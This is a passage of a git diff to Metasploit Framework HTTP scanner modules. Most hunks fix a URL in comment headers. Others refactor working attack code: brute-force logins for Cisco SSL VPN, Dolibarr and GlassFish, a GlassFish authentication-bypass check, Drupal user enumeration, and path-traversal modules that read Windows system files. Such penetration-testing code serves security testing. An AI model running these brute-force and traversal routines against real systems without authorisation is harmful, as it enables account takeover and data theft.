'uri' => '/+CSCOE+/logon.html', + 'method' => 'GET', + 'vars_get' => { 'fcadbadd' => "1" } + ) + end + + groups = Set.new + group_name_regex = /<select id="group_list" name="group_list" style="z-index:1(?:; float:left;)?" onchange="updateLogonForm\(this\.value,{(.*)}/ + + if res && + match = res.body.match(group_name_regex) + + group_string = match[1] + groups = group_string.scan(/'([\w\-0-9]+)'/).flatten.to_set + end + + return groups + end + + # Verify whether we're working with SSL VPN or not + def is_app_ssl_vpn? + res = send_request_cgi( + 'uri' => '/+CSCOE+/logon.html', + 'method' => 'GET', + ) + + if res && + res.code == 302 + + res = send_request_cgi( + 'uri' => '/+CSCOE+/logon.html', + 'method' => 'GET', + 'vars_get' => { 'fcadbadd' => "1" } + ) + end + + if res && + res.code == 200 && + res.body.match(/webvpnlogin/) + + return true + else + return false + end + end + + def do_logout(cookie) + res = send_request_cgi( + 'uri' => '/+webvpn+/webvpn_logout.html', + 'method' => 'GET', + 'cookie' => cookie + ) + end + + # Brute-force the login page + def do_login(user, pass, group) + vprint_status("#{peer} - Trying username:#{user.inspect} with password:#{pass.inspect} and group:#{group.inspect}") + + begin + cookie = "webvpn=; " + + "webvpnc=; " + + "webvpn_portal=; " + + "webvpnSharePoint=; " + + "webvpnlogin=1; " + + "webvpnLang=en;" + + post_params = { + 'tgroup' => '', + 'next' => '', + 'tgcookieset' => '', + 'username' => user, + 'password' => pass, + 'Login' => 'Logon' + } + + post_params['group_list'] = group unless group.empty? + + resp = send_request_cgi( + 'uri' => '/+webvpn+/index.html', + 'method' => 'POST', + 'ctype' => 'application/x-www-form-urlencoded', + 'cookie' => cookie, + 'vars_post' => post_params + ) + + if resp && + resp.code == 200 && + resp.body.match(/SSL VPN Service/) && + resp.body.match(/webvpn_logout/i) + + print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}:#{group.inspect}") + + do_logout(resp.get_cookies) + + report_hash = { + :host => rhost, + :port => rport, + :sname => 'Cisco SSL VPN', + :user => user, + :pass => pass, + :group => group, + :active => true, + :type => 'password' + } + + report_auth_info(report_hash) + return :next_user + + else + vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}:#{group.inspect}") + end + + rescue ::Rex::ConnectionRefused, + ::Rex::HostUnreachable, + ::Rex::ConnectionTimeout, + ::Rex::ConnectionError, + ::Errno::EPIPE + vprint_error("#{peer} - HTTP Connection Failed, Aborting") + return :abort + end + end +end diff --git a/modules/auxiliary/scanner/http/clansphere_traversal.rb b/modules/auxiliary/scanner/http/clansphere_traversal.rb index 4ea36333bb..a351f737aa 100644 --- a/modules/auxiliary/scanner/http/clansphere_traversal.rb +++ b/modules/auxiliary/scanner/http/clansphere_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/cold_fusion_version.rb b/modules/auxiliary/scanner/http/cold_fusion_version.rb index f912012838..b27972d810 100644 --- a/modules/auxiliary/scanner/http/cold_fusion_version.rb +++ b/modules/auxiliary/scanner/http/cold_fusion_version.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb b/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb index 1ac36773d4..c908eeb835 100644 --- a/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb +++ b/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/concrete5_member_list.rb b/modules/auxiliary/scanner/http/concrete5_member_list.rb index a9f78a8601..6a89017a01 100644 --- a/modules/auxiliary/scanner/http/concrete5_member_list.rb +++ b/modules/auxiliary/scanner/http/concrete5_member_list.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/copy_of_file.rb b/modules/auxiliary/scanner/http/copy_of_file.rb index d8c915bf0b..27d2ea545c 100644 --- a/modules/auxiliary/scanner/http/copy_of_file.rb +++ b/modules/auxiliary/scanner/http/copy_of_file.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/crawler.rb b/modules/auxiliary/scanner/http/crawler.rb index 0b0b34a7ee..ac9ac083f0 100644 --- a/modules/auxiliary/scanner/http/crawler.rb +++ b/modules/auxiliary/scanner/http/crawler.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/dell_idrac.rb b/modules/auxiliary/scanner/http/dell_idrac.rb index c915ab9145..71a0cc9d8d 100644 --- a/modules/auxiliary/scanner/http/dell_idrac.rb +++ b/modules/auxiliary/scanner/http/dell_idrac.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/dir_listing.rb b/modules/auxiliary/scanner/http/dir_listing.rb index 45dea52ffb..b759eb9fc3 100644 --- a/modules/auxiliary/scanner/http/dir_listing.rb +++ b/modules/auxiliary/scanner/http/dir_listing.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/dir_scanner.rb b/modules/auxiliary/scanner/http/dir_scanner.rb index 23f28112cb..4c2263dba7 100644 --- a/modules/auxiliary/scanner/http/dir_scanner.rb +++ b/modules/auxiliary/scanner/http/dir_scanner.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/dir_webdav_unicode_bypass.rb b/modules/auxiliary/scanner/http/dir_webdav_unicode_bypass.rb index f74bf8f52d..36f44b069b 100644 --- a/modules/auxiliary/scanner/http/dir_webdav_unicode_bypass.rb +++ b/modules/auxiliary/scanner/http/dir_webdav_unicode_bypass.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/dlink_dir_300_615_http_login.rb b/modules/auxiliary/scanner/http/dlink_dir_300_615_http_login.rb index 9132a41b25..4f90e4460d 100644 --- a/modules/auxiliary/scanner/http/dlink_dir_300_615_http_login.rb +++ b/modules/auxiliary/scanner/http/dlink_dir_300_615_http_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/dlink_dir_615h_http_login.rb b/modules/auxiliary/scanner/http/dlink_dir_615h_http_login.rb index 1880616752..b8bf3c7602 100644 --- a/modules/auxiliary/scanner/http/dlink_dir_615h_http_login.rb +++ b/modules/auxiliary/scanner/http/dlink_dir_615h_http_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/dlink_dir_session_cgi_http_login.rb b/modules/auxiliary/scanner/http/dlink_dir_session_cgi_http_login.rb index 709e4fef03..8802e1cef6 100644 --- a/modules/auxiliary/scanner/http/dlink_dir_session_cgi_http_login.rb +++ b/modules/auxiliary/scanner/http/dlink_dir_session_cgi_http_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb b/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb index 98ab17eb17..eaa5fe9a76 100644 --- a/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb +++ b/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/dolibarr_login.rb b/modules/auxiliary/scanner/http/dolibarr_login.rb index 58ab1e19d5..c4a35015b7 100644 --- a/modules/auxiliary/scanner/http/dolibarr_login.rb +++ b/modules/auxiliary/scanner/http/dolibarr_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -10,6 +10,7 @@ class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Scanner def initialize(info = {}) super(update_info(info, @@ -39,7 +40,7 @@ class Metasploit3 < Msf::Auxiliary def get_sid_token res = send_request_raw({ 'method' => 'GET', - 'uri' => normalize_uri(@uri.path) + 'uri' => normalize_uri(@uri) }) return [nil, nil] if res.nil? || res.get_cookies.empty? @@ -62,7 +63,7 @@ class Metasploit3 < Msf::Auxiliary # sid, token = get_sid_token if sid.nil? or token.nil? - print_error("#{peer} - Unable to obtain session ID or token, cannot continue") + vprint_error("#{peer} - Unable to obtain session ID or token, cannot continue") return :abort else vprint_status("#{peer} - Using sessiond ID: #{sid}") @@ -72,7 +73,7 @@ class Metasploit3 < Msf::Auxiliary begin res = send_request_cgi({ 'method' => 'POST', - 'uri' => normalize_uri("#{@uri.path}index.php"), + 'uri' => normalize_uri("#{@uri}index.php"), 'cookie' => sid, 'vars_post' => { 'token' => token, @@ -91,7 +92,7 @@ class Metasploit3 < Msf::Auxiliary end if res.nil? - print_error("#{peer} - Connection timed out") + vprint_error("#{peer} - Connection timed out") return :abort end @@ -116,8 +117,12 @@ class Metasploit3 < Msf::Auxiliary def run @uri = target_uri.path - @uri.path << "/" if @uri.path[-1, 1] != "/" + @uri << "/" if @uri[-1, 1] != "/" + super + end + + def run_host(ip) each_user_pass { |user, pass| vprint_status("#{peer} - Trying \"#{user}:#{pass}\"") do_login(user, pass) diff --git a/modules/auxiliary/scanner/http/drupal_views_user_enum.rb b/modules/auxiliary/scanner/http/drupal_views_user_enum.rb index a4c4cb34ed..0192a19d5e 100644 --- a/modules/auxiliary/scanner/http/drupal_views_user_enum.rb +++ b/modules/auxiliary/scanner/http/drupal_views_user_enum.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -35,11 +35,15 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptString.new('PATH', [true, "Drupal Path", "/"]) + OptString.new('TARGETURI', [true, "Drupal Path", "/"]) ], self.class) end - def check(base_uri) + def base_uri + @base_uri ||= "#{normalize_uri(target_uri.path)}?q=admin/views/ajax/autocomplete/user/" + end + + def check_host(ip) res = send_request_cgi({ 'uri' => base_uri, 'method' => 'GET', @@ -47,31 +51,21 @@ class Metasploit3 < Msf::Auxiliary }, 25) if not res - return false + return Exploit::CheckCode::Unknown elsif res and res.body =~ /\<title\>Access denied/ # This probably means the Views Module actually isn't installed - print_error("#{rhost} - Access denied") - return false + vprint_error("#{rhost} - Access denied") + return Exploit::CheckCode::Safe elsif res and res.message != 'OK' or res.body != '[ ]' - return false + return Exploit::CheckCode::Safe else - return true + return Exploit::CheckCode::Appears end end def run_host(ip) - # Make sure the URIPATH begins with '/' - datastore['PATH'] = normalize_uri(datastore['PATH']) - - # Make sure the URIPATH ends with / - if datastore['PATH'][-1,1] != '/' - datastore['PATH'] = datastore['PATH'] + '/' - end - - enum_uri = datastore['PATH'] + "?q=admin/views/ajax/autocomplete/user/" - # Check if remote host is available or appears vulnerable - if not check(enum_uri) + unless check_host(ip) == Exploit::CheckCode::Appears print_error("#{ip} does not appear to be vulnerable, will not continue") return end @@ -83,7 +77,7 @@ class Metasploit3 < Msf::Auxiliary vprint_status("Iterating on letter: #{l}") res = send_request_cgi({ - 'uri' => enum_uri+l, + 'uri' => base_uri+l, 'method' => 'GET', 'headers' => { 'Connection' => 'Close' } }, 25) diff --git a/modules/auxiliary/scanner/http/ektron_cms400net.rb b/modules/auxiliary/scanner/http/ektron_cms400net.rb index b485a56609..6aed19f502 100644 --- a/modules/auxiliary/scanner/http/ektron_cms400net.rb +++ b/modules/auxiliary/scanner/http/ektron_cms400net.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/enum_wayback.rb b/modules/auxiliary/scanner/http/enum_wayback.rb index c0b3873117..d15f58d6b0 100644 --- a/modules/auxiliary/scanner/http/enum_wayback.rb +++ b/modules/auxiliary/scanner/http/enum_wayback.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/error_sql_injection.rb b/modules/auxiliary/scanner/http/error_sql_injection.rb index 298a680a26..fd0a168ace 100644 --- a/modules/auxiliary/scanner/http/error_sql_injection.rb +++ b/modules/auxiliary/scanner/http/error_sql_injection.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/etherpad_duo_login.rb b/modules/auxiliary/scanner/http/etherpad_duo_login.rb index 66371cc7d1..bbf067d4df 100644 --- a/modules/auxiliary/scanner/http/etherpad_duo_login.rb +++ b/modules/auxiliary/scanner/http/etherpad_duo_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/file_same_name_dir.rb b/modules/auxiliary/scanner/http/file_same_name_dir.rb index 533ad098b3..b203939b13 100644 --- a/modules/auxiliary/scanner/http/file_same_name_dir.rb +++ b/modules/auxiliary/scanner/http/file_same_name_dir.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/files_dir.rb b/modules/auxiliary/scanner/http/files_dir.rb index 9f9a928caa..1073747319 100644 --- a/modules/auxiliary/scanner/http/files_dir.rb +++ b/modules/auxiliary/scanner/http/files_dir.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/frontpage_login.rb b/modules/auxiliary/scanner/http/frontpage_login.rb index a02821317a..a11475dcee 100644 --- a/modules/auxiliary/scanner/http/frontpage_login.rb +++ b/modules/auxiliary/scanner/http/frontpage_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/glassfish_login.rb b/modules/auxiliary/scanner/http/glassfish_login.rb index 7801400f3e..686ed7a31e 100644 --- a/modules/auxiliary/scanner/http/glassfish_login.rb +++ b/modules/auxiliary/scanner/http/glassfish_login.rb @@ -1,9 +1,11 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' +require 'metasploit/framework/login_scanner/glassfish' +require 'metasploit/framework/credential_collection' class Metasploit3 < Msf::Auxiliary @@ -16,217 +18,188 @@ class Metasploit3 < Msf::Auxiliary super( 'Name' => 'GlassFish Brute Force Utility', 'Description' => %q{ - This module attempts to login to GlassFish instance using username - and password combindations indicated by the USER_FILE, PASS_FILE, - and USERPASS_FILE options. + This module attempts to login to GlassFish instance using username and password + combindations indicated by the USER_FILE, PASS_FILE, and USERPASS_FILE options. + It will also try to do an authentication bypass against older versions of GlassFish. + Note: by default, GlassFish 4.0 requires HTTPS, which means you must set the SSL option + to true, and SSLVersion to TLS1. It also needs Secure Admin to access the DAS remotely. }, 'Author' => [ - 'Joshua Abraham <jabra[at]rapid7.com>' + 'Joshua Abraham <jabra[at]spl0it.org>', # @Jabra + 'sinn3r' ], 'References' => [ ['CVE', '2011-0807'], - ['OSVDB', '71948'], + ['OSVDB', '71948'] ], 'License' => MSF_LICENSE ) register_options( [ + # There is no TARGETURI because when Glassfish is installed, the path is / Opt::RPORT(4848), - OptString.new('TARGETURI', [true, 'The URI path of the GlassFish Server', '/']), OptString.new('USERNAME',[true, 'A specific username to authenticate as','admin']), + OptBool.new('SSL', [false, 'Negotiate SSL for outgoing connections', false]), + OptEnum.new('SSLVersion', [false, 'Specify the version of SSL that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']]) ], self.class) end # - # Return GlassFish's edition (Open Source or Commercial) and version (2.x, 3.0, 3.1, 9.x) and - # banner (ex: Sun Java System Application Server 9.x) + # Module tracks the session id, and then it will have to pass the last known session id to + # the LoginScanner class so the authentication can proceed properly # - def get_version(res) - #Extract banner from response - banner = res.headers['Server'] || '' - #Default value for edition and glassfish version - edition = 'Commercial' - version = 'Unknown' - - #Set edition (Open Source or Commercial) - p = /(Open Source|Sun GlassFish Enterprise Server|Sun Java System Application Server)/ - edition = 'Open Source' if banner =~ p - - #Set version. Some GlassFish servers return banner "GlassFish v3". - if banner =~ /(GlassFish Server|Open Source Edition) (\d\.\d)/ - version = $2 - elsif banner =~ /GlassFish v(\d)/ and version.nil? - version = $1 - elsif banner =~ /Sun GlassFish Enterprise Server v2/ and version.nil? - version = '2.x' - elsif banner =~ /Sun Java System Application Server 9/ and version.nil? - version = '9.x' - end - - print_status("Unsupported version: #{banner}") if version.nil? or version == 'Unknown' - - return edition, version, banner - end - - def log_success(user,pass) - print_good("#{target_host()} - GlassFish - SUCCESSFUL login for '#{user}' : '#{pass}'") - report_auth_info( - :host => rhost, - :port => rport, - :sname => (ssl ? 'https' : 'http'), - :user => user, - :pass => pass, - :proof => "WEBAPP=\"GlassFish\", VHOST=#{vhost}", - :source_type => "user_supplied", - :active => true - ) + # Overrides the ssl method from HttpClient + def ssl + @scanner.ssl || datastore['SSL'] end # - # Send GET or POST request, and return the response + # For a while, older versions of Glassfish didn't need to set a password for admin, + # but looks like no longer the case anymore, which means this method is getting useless + # (last tested: Aug 2014) # - def send_request(path, method, session='', data=nil, ctype=nil) - - headers = {} - headers['Cookie'] = "JSESSIONID=#{session}" if session != '' - headers['Content-Type'] = ctype if ctype != nil - headers['Content-Length'] = data.length if data != nil - - uri = normalize_uri(target_uri.path) - res = send_request_raw({ - 'uri' => "#{uri}#{path}", - 'method' => method, - 'data' => data, - 'headers' => headers, - }, 90) - - return res - end - - # - # Try to login to Glassfish with a credential, and return the response - # - def try_login(user, pass) - data = "j_username=#{Rex::Text.uri_encode(user.to_s)}&" - data << "j_password=#{Rex::Text.uri_encode(pass.to_s)}&" - data << "loginButton=Login" - - path = '/j_security_check' - res = send_request(path, 'POST', '', data, 'application/x-www-form-urlencoded') - - return res - end - - def try_glassfish_auth_bypass(version) - print_status("Trying GlassFish authentication bypass..") + def is_password_required?(version) success = false - if version == '2.x' or version == '9.x' - res = send_request('/applications/upload.jsf', 'get') + if version =~ /^[29]\.x$/ + res = send_request_cgi({'uri'=>'/applications/upload.jsf'}) p = /<title>Deploy Enterprise Applications\/Modules/ - if (res and res.code.to_i == 200 and res.body.match(p) != nil) + if (res && res.code.to_i == 200 && res.body.match(p) != nil) success = true end - else - # 3.0 - res = send_request('/common/applications/uploadFrame.jsf', 'get') + elsif version =~ /^3\./ + res = send_request_cgi({'uri'=>'/common/applications/uploadFrame.jsf'}) p = /<title>Deploy Applications or Modules/ - if (res and res.code.to_i == 200 and res.body.match(p) != nil) + if (res && res.code.to_i == 200 && res.body.match(p) != nil) success = true end end - if success == true - print_good("#{target_host} - GlassFish - SUCCESSFUL authentication bypass") - report_auth_info( - :host => rhost, - :port => rport, - :sname => (ssl ? 'https' : 'http'), - :user => '', - :pass => '', - :proof => "WEBAPP=\"GlassFish\", VHOST=#{vhost}", - :source_type => "user_supplied", - :active => true - ) - else - print_error("#{target_host()} - GlassFish - Failed authentication bypass") - end - - return success + success end - def try_glassfish_login(version,user,pass) - success = false - session = '' - res = '' - if version == '2.x' or version == '9.x' - print_status("Trying credential GlassFish 2.x #{user}:'#{pass}'....") - res = try_login(user,pass) - if res and res.code == 302 - session = $1 if res && res.get_cookies =~ /JSESSIONID=(.*); /i - res = send_request('/applications/upload.jsf', 'GET', session) - p = /<title>Deploy Enterprise Applications\/Modules/ - if (res and res.code.to_i == 200 and res.body.match(p) != nil) - success = true - end - end + def init_loginscanner(ip) + @cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'] + ) - else - print_status("Trying credential GlassFish 3.x #{user}:'#{pass}'....") - res = try_login(user,pass) - if res and res.code == 302 - session = $1 if res && res.get_cookies =~ /JSESSIONID=(.*); /i - res = send_request('/common/applications/uploadFrame.jsf', 'GET', session) + @scanner = Metasploit::Framework::LoginScanner::Glassfish.new( + host: ip, + port: rport, + proxies: datastore["PROXIES"], + cred_details: @cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: 5 + ) - p = /<title>Deploy Applications or Modules/ - if (res and res.code.to_i == 200 and res.body.match(p) != nil) - success = true - end - end - end - - if success == true - log_success(user,pass) - else - msg = "#{target_host()} - GlassFish - Failed to authenticate login for '#{user}' : '#{pass}'" - print_error(msg) - end - - return success, res, session + @scanner.ssl = datastore['SSL'] + @scanner.ssl_version = datastore['SSLVERSION'] end + def do_report(ip, port, result) + service_data = { + address: ip, + port: port, + service_name: 'http', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: result.credential.private, + private_type: :password, + username: result.credential.public, + }.merge(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: result.status + }.merge(service_data) + + create_credential_login(login_data) + end + + def bruteforce(ip) + @scanner.scan! do |result| + case result.status + when Metasploit::Model::Login::Status::SUCCESSFUL + print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'" + do_report(ip, rport, result) + :next_user + when Metasploit::Model::Login::Status::DENIED_ACCESS + print_brute :level => :status, :ip => ip, :msg => "Correct credentials, but unable to login: '#{result.credential}'" + do_report(ip, rport, result) + :next_user + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + end + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: result.credential.realm_key, + realm_value: result.credential.realm, + status: result.status + ) + :abort + when Metasploit::Model::Login::Status::INCORRECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + end + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: result.credential.realm_key, + realm_value: result.credential.realm, + status: result.status + ) + end + end + end + + + + # + # main + # def run_host(ip) - #Invoke index to gather some info - res = send_request('/common/index.jsf', 'GET') - - #Abort if res returns nil due to an exception (broken pipe or timeout) - if res.nil? - print_error("Unable to get a response from the server.") + init_loginscanner(ip) + msg = @scanner.check_setup + if msg + print_brute :level => :error, :ip => rhost, :msg => msg return end - if res.code.to_i == 302 - res = send_request('/login.jsf', 'GET') + print_brute :level=>:status, :ip=>rhost, :msg=>('Checking if Glassfish requires a password...') + if @scanner.version =~ /^[239]\.x$/ && is_password_required?(@scanner.version) + print_brute :level => :good, :ip => ip, :msg => "Note: This Glassfish does not require a password" + else + print_brute :level=>:status, :ip=>rhost, :msg=>("Glassfish is protected with a password") end - #Get GlassFish version - edition, version, banner = get_version(res) - path = normalize_uri(target_uri.path) - target_url = "http://#{rhost.to_s}:#{rport.to_s}/#{path.to_s}" - print_status("#{target_url} - GlassFish - Attempting authentication") - - if (version == '2.x' or version == '9.x' or version == '3.0') - try_glassfish_auth_bypass(version) - end - - each_user_pass do |user, pass| - try_glassfish_login(version, user, pass) - end + bruteforce(ip) unless @scanner.version.blank? end end diff --git a/modules/auxiliary/scanner/http/groupwise_agents_http_traversal.rb b/modules/auxiliary/scanner/http/groupwise_agents_http_traversal.rb index d06884238b..2fde2d1901 100644 --- a/modules/auxiliary/scanner/http/groupwise_agents_http_traversal.rb +++ b/modules/auxiliary/scanner/http/groupwise_agents_http_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ Opt::RPORT(7181), # Also 7180 can be used - OptString.new('FILEPATH', [true, 'The name of the file to download', '/boot.ini']), + OptString.new('FILEPATH', [true, 'The name of the file to download', '/windows\\win.ini']), OptInt.new('DEPTH', [true, 'Traversal depth if absolute is set to false', 10]) ], self.class) end diff --git a/modules/auxiliary/scanner/http/hp_imc_bims_downloadservlet_traversal.rb b/modules/auxiliary/scanner/http/hp_imc_bims_downloadservlet_traversal.rb index aa3f8d162f..3339ef4e3b 100644 --- a/modules/auxiliary/scanner/http/hp_imc_bims_downloadservlet_traversal.rb +++ b/modules/auxiliary/scanner/http/hp_imc_bims_downloadservlet_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -40,7 +40,7 @@ class Metasploit3 < Msf::Auxiliary [ Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'Path to HP Intelligent Management Center', '/imc']), - OptString.new('FILEPATH', [true, 'The name of the file to download', '/boot.ini']), + OptString.new('FILEPATH', [true, 'The name of the file to download', '/windows\\win.ini']), # By default files downloaded from C:\Program Files\iMC\client\web\apps\imc\ OptInt.new('DEPTH', [true, 'Traversal depth', 6]) ], self.class) diff --git a/modules/auxiliary/scanner/http/hp_imc_faultdownloadservlet_traversal.rb b/modules/auxiliary/scanner/http/hp_imc_faultdownloadservlet_traversal.rb index e2fb7b6c70..1acddfa9d5 100644 --- a/modules/auxiliary/scanner/http/hp_imc_faultdownloadservlet_traversal.rb +++ b/modules/auxiliary/scanner/http/hp_imc_faultdownloadservlet_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Auxiliary [ Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'Path to HP Intelligent Management Center', '/imc']), - OptString.new('FILEPATH', [true, 'The name of the file to download', '/boot.ini']), + OptString.new('FILEPATH', [true, 'The name of the file to download', '/windows\\win.ini']), # By default files downloaded from C:\Program Files\iMC\client\web\apps\imc\tmp\ OptInt.new('DEPTH', [true, 'Traversal depth', 7]) ], self.class) diff --git a/modules/auxiliary/scanner/http/hp_imc_ictdownloadservlet_traversal.rb b/modules/auxiliary/scanner/http/hp_imc_ictdownloadservlet_traversal.rb index 2bed6856e2..bb3859b313 100644 --- a/modules/auxiliary/scanner/http/hp_imc_ictdownloadservlet_traversal.rb +++ b/modules/auxiliary/scanner/http/hp_imc_ictdownloadservlet_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Auxiliary [ Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'Path to HP Intelligent Management Center', '/imc']), - OptString.new('FILEPATH', [true, 'The name of the file to download', '/boot.ini']), + OptString.new('FILEPATH', [true, 'The name of the file to download', '/windows\\win.ini']), # By default files downloaded from C:\Program Files\iMC\client\web\apps\imc\tmp\ OptInt.new('DEPTH', [true, 'Traversal depth', 7]) ], self.class) diff --git a/modules/auxiliary/scanner/http/hp_imc_reportimgservlt_traversal.rb b/modules/auxiliary/scanner/http/hp_imc_reportimgservlt_traversal.rb index 2f0dee051d..81f4519f49 100644 --- 